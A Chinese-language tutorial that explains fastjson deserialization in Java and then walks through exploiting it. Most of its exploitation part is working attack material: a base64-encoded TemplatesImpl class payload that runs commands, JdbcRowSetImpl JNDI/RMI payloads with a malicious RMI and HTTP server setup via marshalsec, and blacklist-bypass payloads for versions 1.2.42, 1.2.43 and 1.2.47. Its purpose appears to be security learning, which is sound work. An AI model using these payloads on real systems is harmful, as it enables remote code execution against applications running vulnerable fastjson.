从零开始学习fastjson反序列化
什么是fastjson?
fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种”假定有序快速匹配”的算法，把JSON Parse的性能提升到极致，是目前Java语言中最快的JSON库。Fastjson接口简单易用，已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。
fastjson使用简介
用来实现Java对象与JSON字符串的相互转换，比如:
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| User user = new User();
user.setUserName("Le1a");
user.setAge(20);
user.setSex("男");
String userJson = JSON.toJSONString(user);
|
输出结果：
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| {"age":20,"sex":"男","userName":"Le1a"}
|
以上将对象转换为JSON字符串的操作成为序列化，将JSON字符串实例化为Java对象的操作成为反序列化。
fastjson反序列化机制
Case1:
User类
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| public class User{
private int age;
private String userName;
private String sex;
public User() {
System.out.println("User construct");
}
public String getUserName() {
System.out.println("getUserName");
return userName;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public String getSex() {
System.out.println("getSex");
return sex;
}
public void setUserName(String userName) {
System.out.println("setUserName:" + userName);
this.userName = userName;
}
public void setAge(int age) {
System.out.println("setAge:" + age);
this.age = age;
}
public void setSex(String sex) {
System.out.println("setSex:" + sex);
this.sex = sex;
}
}
|
执行反序列化:
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| import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.io.*;
public class Ser1 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
String jsonstr = "{\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
}
}
|
执行结果:
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| User construct
setAge:20
setSex:男
setUserName:Le1a
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这个执行结果说明了: fastjson在反序列化的时候会调用这个类的setter方法。那如果没有setter方法，还能正确赋值吗？
所以接下来看第二种机制。
Case2:
User类
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| public class User{
public int age;
public String userName;
public String sex;
public User() {
System.out.println("User construct");
}
public String getUserName() {
System.out.println("getUserName");
return userName;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public String getSex() {
System.out.println("getSex");
return sex;
}
}
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执行反序列化:
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| import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.io.*;
public class Ser1 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
String jsonstr = "{\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
User user = JSON.parseObject(jsonstr, User.class);
System.out.println("age:" + user.age);
System.out.println("setSex:" + user.sex);
System.out.println("userName:" + user.userName);
}
}
|
执行结果:
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| User construct
age:20
setSex:男
userName:Le1a
|
发现没有setter方法的时候，fastjson也会对Field正确赋值，但是前提条件是Field必须为public属性。如果不是public属性也没有setter方法呢？接着来看另一种方法！
Case3:
将Field 属性改为私有，不提供setter
User类
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public class User{
private int age;
private String userName;
private String sex;
public User() {
System.out.println("User construct");
}
public String getUserName() {
return userName;
}
public int getAge() {
return age;
}
public String getSex() {
return sex;
}
}
|
执行反序列化:
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| import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.io.*;
public class Ser1 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
String jsonstr = "{\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
User user = JSON.parseObject(jsonstr, User.class);
System.out.println("age:" + user.getAge());
System.out.println("setSex:" + user.getSex());
System.out.println("userName:" + user.getUserName());
}
}
|
输出结果为:
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| User construct
age:0
setSex:null
userName:null
|
发现并没有对Field进行赋值，打印出来的都是Field的默认初始值。以上说明对于不可见Field且未提供setter方法，fastjson默认不会赋值。
将反序列化代码修改为如下：
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| import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.io.*;
public class Ser1 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
String jsonstr = "{\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
User user = JSON.parseObject(jsonstr, User.class,Feature.SupportNonPublicField);
System.out.println("age:" + user.getAge());
System.out.println("setSex:" + user.getSex());
System.out.println("userName:" + user.getUserName());
}
}
|
输出结果为:
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| User construct
age:20
setSex:男
userName:Le1a
|
可见: 对于未提供setter的私有Field，fastjson在反序列化时需要显式提供参数Feature.SupportNonPublicField才会正确赋值。
漏洞原理
fastjson支持使用@type来指定反序列化的目标类，如下演示：
User类
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| public class User{
private int age;
private String userName;
private String sex;
public User() {
System.out.println("User construct");
}
public String getUserName() {
System.out.println("getUserName");
return userName;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public String getSex() {
System.out.println("getSex");
return sex;
}
public void setUserName(String userName) {
System.out.println("setUserName:" + userName);
this.userName = userName;
}
public void setAge(int age) {
System.out.println("setAge:" + age);
this.age = age;
}
public void setSex(String sex) {
System.out.println("setSex:" + sex);
this.sex = sex;
}
}
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执行反序列化
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| import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import java.io.IOException;
public class Ser2 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
String jsonstr = "{\"@type\":\"Evil\",\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
Object user = JSON.parseObject(jsonstr);
}
}
|
执行结果为:
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| User construct
setAge:20
setSex:男
setUserName:Le1a
getAge
getSex
getUserName
|
JSON字符串@type的值为User，也就指定了要将此JSON字符串实例化为User对象，在此过程中fastjson不仅调用了setter也调用了getter。
假设这个@type指向一个恶意类，那是不是就能触发恶意代码呢？
我们来写一个Evil类
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| public class Evil {
static {
System.err.println("Hacker！！！");
try {
java.lang.Runtime.getRuntime().exec("calc");
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
|
成功执行了恶意命令，实际应用中肯定很难找到像Evil这种代码，攻击者要想办法通过现有的让JVM加载构造的恶意类，就得来构造Gadget。
漏洞利用
TemplatesImpl
利用fastjson反序列化后会调用属性的getter，可以使用之前学习的TemplatesImpl。
恶意类:
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| import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.plugin.com.JavaClass;
import java.lang.reflect.Method;
public class Shell extends AbstractTranslet {
public Shell() throws Exception{
Class runtime = Class.forName("java.lang.Runtime");
Method exec = runtime.getMethod("exec", String.class);
Method getruntime = runtime.getMethod("getRuntime");
Object r = getruntime.invoke(runtime);
exec.invoke(r,"calc");
System.out.println("Hacker！！！");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
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EXP
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| import com.alibaba.fastjson.parser.ParserConfig;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.util.Base64;
public class TemplatesImpl {
public static void main(String[] args) throws Exception {
ParserConfig config = new ParserConfig();
String base64Evil = fileToBase64("D:\\Cc\\IntelliJ IDEA 2021.1\\Fastjson\\target\\classes\\Shell.class");
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAUAoAEAAvCAAwCgAFADEIABoHADIHADMKAAUANAgANQcANgoANwA4CAA5CQA6ADsIADwKAD0APgcAPwcAQAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAHTFNoZWxsOwEAB3J1bnRpbWUBABFMamF2YS9sYW5nL0NsYXNzOwEABGV4ZWMBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEACmdldHJ1bnRpbWUBAAFyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAKRXhjZXB0aW9ucwcAQQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAEIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIBABFqYXZhLmxhbmcuUnVudGltZQwAQwBEAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwARQBGAQAKZ2V0UnVudGltZQEAEGphdmEvbGFuZy9PYmplY3QHAEcMAEgASQEABGNhbGMHAEoMAEsATAEAD0hhY2tlcu+8ge+8ge+8gQcATQwATgBPAQAFU2hlbGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAA8AEAAAAAAAAwABABEAEgACABMAAAC3AAYABQAAAEkqtwABEgK4AANMKxIEBL0ABVkDEgZTtgAHTSsSCAO9AAW2AAdOLSsDvQAJtgAKOgQsGQQEvQAJWQMSC1O2AApXsgAMEg22AA6xAAAAAgAUAAAAIgAIAAAACwAEAAwACgANABoADgAlAA8AMAAQAEAAEQBIABIAFQAAADQABQAAAEkAFgAXAAAACgA/ABgAGQABABoALwAaABsAAgAlACQAHAAbAAMAMAAZAB0AHgAEAB8AAAAEAAEAIAABACEAIgACABMAAAA/AAAAAwAAAAGxAAAAAgAUAAAABgABAAAAFgAVAAAAIAADAAAAAQAWABcAAAAAAAEAIwAkAAEAAAABACUAJgACAB8AAAAEAAEAJwABACEAKAACABMAAABJAAAABAAAAAGxAAAAAgAUAAAABgABAAAAGwAVAAAAKgAEAAAAAQAWABcAAAAAAAEAIwAkAAEAAAABACkAKgACAAAAAQArACwAAwAfAAAABAABACcAAQAtAAAAAgAu\"],\"_name\" : \"a\",\"_tfactory\" : {},\"outputProperties\" : {}}";
System.out.println(payload);
}
public static String fileToBase64(String path) throws Exception{
String base64Result=null;
InputStream inputStream = null;
File file = new File(path);
inputStream = new FileInputStream(file);
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes,0,inputStream.available());
base64Result = new String(Base64.getEncoder().encode(bytes));
return base64Result;
}
}
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成功执行命令。_bytecodes是私有属性，_name也是私有域，所以在parseObject的时候需要设置Feature.SupportNonPublicField，这样_bytecodes字段才会被反序列化。
JNDI注入
RMI
反序列化Gadget主流都是使用JNDI，现阶段都是在利用根据JNDI特征自动化挖掘Gadget。
com.sun.rowset.JdbcRowSetImpl这个类有两个set方法，分别是setDataSourceName()与setAutoCommit(),我们看一下相关实现：
setDatasourceName
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| public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}
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setAutoCommit
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| public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
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这里的setDataSourceName就是设置了dataSourceName,然后在setAutoCommit中进行了connect操作，我们跟进看一下
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| protected Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
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可以看到这里connect方法中有典型的jndi的lookup方法调用，且参数就是我们在setDataSourceName中设置的dataSourceName，来构造一下payload，dataSourceName的值为我们恶意的rmi对象
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| {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/Evil", "autoCommit":true}}
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工具启动RMI服务
这里有一款工具： https://github.com/RandomRobbieBF/marshalsec-jar
先将恶意Evil类部署到http服务上，可以直接使用python -m http.server。我这里就直接部署到公网上了，然后使用如下命令快速搭建一个rmi服务器，并把恶意的远程对象注册到上面
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| java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http:
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这样rmi服务就快速搭起来了，运行一下，成功弹出计算器
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| import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.io.IOException;
public class SerJndi {
public static void main(String[] args) throws IOException, ClassNotFoundException {
String jsonstr = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://IP:1099/Evil\", \"autoCommit\":true}}";
JSON.parseObject(jsonstr,Feature.SupportNonPublicField);
}
}
|
手动启动RMI服务
同样先将恶意Evil类部署到http服务上，直接使用python -m http.server 8000，然后创建JNDIServer.java
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| import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIServer {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exploit","Evil","http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
}
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RMI服务端可以直接绑定远程调用的对象以外，还可通过References类来绑定一个外部的远程对象，当RMI绑定了References之后，首先会利用Referenceable.getReference()获取绑定对象的引用，并在目录中保存，当客户端使用lookup获取对应名字时，会返回ReferenceWrapper类的代理文件，然后会调用getReference()获取Reference类，最终通过factory类将Reference转换为具体的对象实例。
这里为了防止本地触发恶意代码，就选择了通过References类绑定远程对象。第一个参数是开启rmi服务后的恶意类名，第二个参数是恶意类本体，第三个参数是远程对象的URL。
服务端JNDIClient
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| import com.alibaba.fastjson.JSON;
public class JNDIClient {
public static void main(String[] argv){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}";
JSON.parse(payload);
}
}
|
LADP
Fastjson各版本绕过
1.24
Fastjson 1.2.25之前版本，只是通过黑名单限制哪些类不能通过@type指定。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl和com.sun.rowset.JdbcRowSetImpl都不在黑名单中，可以直接完成攻击，代码参考上文。
1.2.25 —1.2.41
1.2.25版本修复了这个漏洞，添加了配置项setAutoTypeSupport，并且使用了checkAutoType函数定义黑白名单的方式来防御反序列化漏洞。
当 autoTypeSupport 为 False 时，先黑名单过滤，再白名单过滤，若白名单匹配上则直接加载该类，否则报错。当 autoTypeSupport 为 True 时，先白名单过滤，匹配成功即可加载该类，否则再黑名单过滤。
com.alibaba.fastjson.parser.ParserConfig类中有一个String[]类型的denyList数组，denyList中定义了反序列化的黑名单的类包名，1.2.25-1.2.41版本中会对以下包名进行过滤
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com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.apache.xalan
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
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| public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() >= 128) {
throw new JSONException("autoType is not support. " + typeName);
} else {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
int mask;
String accept;
if (this.autoTypeSupport || expectClass != null) {
for(mask = 0; mask < this.acceptList.length; ++mask) {
accept = this.acceptList[mask];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
}
for(mask = 0; mask < this.denyList.length; ++mask) {
accept = this.denyList[mask];
if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {
for(mask = 0; mask < this.denyList.length; ++mask) {
accept = this.denyList[mask];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for(mask = 0; mask < this.acceptList.length; ++mask) {
accept = this.acceptList[mask];
if (className.startsWith(accept)) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
}
}
|
当autoTypeSupport 为 False 时，先黑名单过滤，然后再匹配白名单，如果白名单没匹配到则报错，所以必须配置有白名单，才能进行loadClass操作。
当 autoTypeSupport 为 True 时，首先进行白名单过滤，如果在白名单上则直接loadClass，否则进行黑名单过滤。
这里判断如果className是以L开头，并以;结尾，那么去除开头的L以及末尾的;，得到 newClassName 然后 loadClass，这样就绕过了CheckAutoType 的检查。
所以当开启ParserConfig.getGlobalInstance().setAutoTypeSupport(true);时我们可以在@type处对指定类名进行改造，在JdbcRowSetImpl类的前面加了一个L，然后在TemplatesImpl类的后面再加一个;分号，就可以绕过了。
1.2.42
1.2.42版本将黑名单denyList替换成了denyHashCodes，fastjson使用哈希黑名单来代替之前的明文黑名单来防止被绕过，增加了绕过的困难程度。checkAutoType函数会从className中将com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类提取出来，然后把前后的字符L和;都去掉，然后再进行哈希黑名单过滤。
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| public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
className = className.substring(1, className.length() - 1);
}
long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
long hash;
int i;
if (this.autoTypeSupport || expectClass != null) {
hash = h3;
for(i = 3; i < className.length(); ++i) {
hash ^= (long)className.charAt(i);
hash *= 1099511628211L;
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
} else {
throw new JSONException("autoType is not support. " + typeName);
}
}
|
但是只提取了一次，所以我们可以通过双写绕过。
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| LLcom.sun.rowset.JdbcRowSetImpl;;
|
1.2.43
1.2.43版本对1.2.42版本的绕过进行了修复，首先判断了className中的类是否以字符“L”开头，以字符“;”结尾，如果满足条件，继续判断是否以字符“LL”开头，如果满足条件则抛出异常。
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| Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}
className = className.substring(1, className.length() - 1);
}
|
因为1.2.42版本的payload已无法利用，因此我们需要另寻突破口，在TypeUtils类的loadClass方法中会对className进行校验
这里className以[开头，然后通过substring去掉[，然后进行loadClass
那么可以对payload进行改造，在类前面加一个“[”字符，这样就可以绕过checkAutoType函数的过滤，如下所示：
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| [com.sun.rowset.JdbcRowSetImpl
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再次运行程序还是会报错，根据抛出的异常来看，是在调用DefaultJSONParser类的parseArray方法时抛出的异常
打上断点调试，发现会判断token的值，如果不为14，则会抛出异常。
这里调试可以发现我们的token是16，那么token是由什么决定的呢？在[的if处下个断点调试(有个坑点就是刚开始调试传入的className并不是我们的JDBC，而是java.lang.AutoCloseable，所以光标点到if判断里面，然后强行进入if语句里面)
此时传入的类是[com.sun.rowset.JdbcRowSetImpl。来看一下nextToken()方法
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| public final void nextToken() {
this.sp = 0;
while(true) {
while(true) {
this.pos = this.bp;
if (this.ch != '/') {
if (this.ch == '"') {
this.scanString();
return;
}
if (this.ch == ',') {
this.next();
this.token = 16;
return;
}
if (this.ch >= '0' && this.ch <= '9') {
this.scanNumber();
return;
}
if (this.ch == '-') {
this.scanNumber();
return;
}
switch(this.ch) {
case '\b':
case '\t':
case '\n':
case '\f':
case '\r':
case ' ':
this.next();
break;
case '\'':
if (!this.isEnabled(Feature.AllowSingleQuotes)) {
throw new JSONException("Feature.AllowSingleQuotes is false");
}
this.scanStringSingleQuote();
return;
case '(':
this.next();
this.token = 10;
return;
case ')':
this.next();
this.token = 11;
return;
case '+':
this.next();
this.scanNumber();
return;
case '.':
this.next();
this.token = 25;
return;
case ':':
this.next();
this.token = 17;
return;
case ';':
this.next();
this.token = 24;
return;
case 'N':
case 'S':
case 'T':
case 'u':
this.scanIdent();
return;
case '[':
this.next();
this.token = 14;
return;
case ']':
this.next();
this.token = 15;
return;
case 'f':
this.scanFalse();
return;
case 'n':
this.scanNullOrNew();
return;
case 't':
this.scanTrue();
return;
case 'x':
this.scanHex();
return;
case '{':
this.next();
this.token = 12;
return;
case '}':
this.next();
this.token = 13;
return;
|
nextToken方法会判断ch的值，然后根据ch的值设置token，在调试分析中ch的值是json数据中第一个逗号出现的位置（固定从这个位置取值），我们需要把token的值设置为14来绕过DefaultJSONParser类的parseArray方法。所以在第一个逗号出现的位置前面加[
此时的token就为14了，尝试打一下，发现有了新的异常。
说是在43索引(第一个逗号)的位置还缺一个{，把{加上即可成功绕过
payload:
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| "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}"
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1.2.47
Fastjson从1.2.25开始，添加了配置项setAutoTypeSupport以及白名单，进一步限制@type的使用，默认该配置项关闭。如果配置项是关闭状态，那么只允许白名单内的类才能通过@type指定。
此时com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesIpl和com.sun.rowset.JdbcRowSetIm都已经在黑名单中了，
但是存在绕过方式，不需要setAutoTypeSupport为true。如果先传入如下JSON进行反序列化：
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| {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
}
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java.lang.Class是在白名单中的，反序列化后com.sun.rowset.JdbcRowSetImpl就会被加入到白名单中，剩下的就和1.2.24相同了，直接把两部分整合到一起：
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| {
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1099/Exploit",
"autoCommit": true
}
}
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成功绕过！
原理分析: https://blog.csdn.net/qq_34101364/article/details/111706189 之后来学！！！
总结
其中JSON.parse和JSON.parseObject()的区别是:
1、JSON.parse()返回的结果是Object对象，在使用@type指定类的时候，会获取@type指定的类并且调用该类的setter方法
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| String jsonstr = "{\"@type\":\"User\",\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
Object user = JSON.parse(jsonstr);
|
2、JSON.parseObject()返回的结果是JSONObject对象，在第二个参数中可以指定返回的对象类型，同时也会调用该类的setter方法
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| String jsonstr = "{\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
User user = JSON.parseObject(jsonstr,User.class);
|
3、JSON.parseObject()使用了@type获取指定类的时候，就会同时调用getter和setter方法。
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| String jsonstr = "{\"@type\":\"User\",\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
JSONObject parse = JSON.parseObject(jsonstr);
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